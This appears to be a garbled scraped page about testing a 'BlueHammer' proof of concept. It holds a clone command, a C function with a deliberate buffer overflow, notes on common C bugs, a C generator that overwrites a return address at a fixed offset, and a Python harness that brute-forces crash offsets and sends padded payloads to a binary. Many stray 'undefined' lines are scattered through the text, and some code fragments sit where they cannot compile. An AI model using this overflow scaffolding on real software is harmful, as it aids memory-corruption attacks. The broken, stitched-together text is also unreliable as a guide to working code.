git clone https://github.com/Nightmare-Eclipse/BlueHammer.git
cd BlueHammer

undefined

---

undefined

undefined

undefined

---

undefined

---

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Common pattern: controlled buffer to trigger the condition
void trigger_vulnerability(const char *input, size_t len) {
    char buf[256];
    // Inspect what the PoC does with input
    memcpy(buf, input, len);  // potential overflow if len > 256
    // ... vulnerability logic
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <payload>\n", argv[0]);
        return 1;
    }
    trigger_vulnerability(argv[1], strlen(argv[1]));
    return 0;
}

// When inspecting the PoC, look for these common issues:

// 1. Off-by-one errors
char buf[64];
// Bug: should be < 64, not <= 64
for (int i = 0; i <= 64; i++) buf[i] = 'A';

// Fix:
for (int i = 0; i < 64; i++) buf[i] = 'A';

// 2. Missing null terminator
char buf[8];
strncpy(buf, "longinput", 8);  // no null terminator
// Fix:
strncpy(buf, "longinput", 7);
buf[7] = '\0';

// 3. Incorrect size calculation
int *arr = malloc(10);           // Bug: should be 10 * sizeof(int)
int *arr_fixed = malloc(10 * sizeof(int));  // Fix

// 4. Wrong offset in exploit payload
size_t offset = 128;  // may need adjustment per target binary/environment

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PAYLOAD_SIZE 512
#define OFFSET       264   // adjust based on binary analysis

int main(void) {
    unsigned char payload[PAYLOAD_SIZE];

    // Fill with pattern for offset discovery
    memset(payload, 'A', PAYLOAD_SIZE);

    // Overwrite return address (example — adjust for target)
    unsigned long target_addr = 0xdeadbeefcafeUL;
    memcpy(payload + OFFSET, &target_addr, sizeof(target_addr));

    // Write payload to stdout for piping
    fwrite(payload, 1, PAYLOAD_SIZE, stdout);
    return 0;
}

undefined

undefined

#!/usr/bin/env python3
"""
Harness for testing BlueHammer PoC variants.
Run in an isolated lab environment only.
"""
import subprocess
import struct
import os

BINARY = "./bluehammer"
OFFSET = 264  # adjust via debugging

def build_payload(offset: int, ret_addr: int, shellcode: bytes = b"") -> bytes:
    padding = b"A" * offset
    addr_packed = struct.pack("<Q", ret_addr)  # little-endian 64-bit
    return padding + addr_packed + shellcode

def run_payload(payload: bytes) -> tuple[int, bytes, bytes]:
    """Send payload to the binary, return (returncode, stdout, stderr)."""
    result = subprocess.run(
        [BINARY],
        input=payload,
        capture_output=True,
        timeout=5,
    )
    return result.returncode, result.stdout, result.stderr

def find_offset(max_size: int = 1024) -> int:
    """Brute-force the crash offset."""
    for size in range(16, max_size, 8):
        payload = b"A" * size
        try:
            rc, _, _ = run_payload(payload)
            if rc != 0:
                print(f"[+] Crash at size: {size}")
                return size
        except subprocess.TimeoutExpired:
            print(f"[!] Timeout at size: {size}")
    return -1

if __name__ == "__main__":
    print("[*] Testing BlueHammer PoC")
    payload = build_payload(OFFSET, 0x4141414141414141)
    rc, out, err = run_payload(payload)
    print(f"Return code: {rc}")
    print(f"Stdout: {out}")
    print(f"Stderr: {err}")

undefined

undefined

undefined

undefined

undefined

---

undefined

---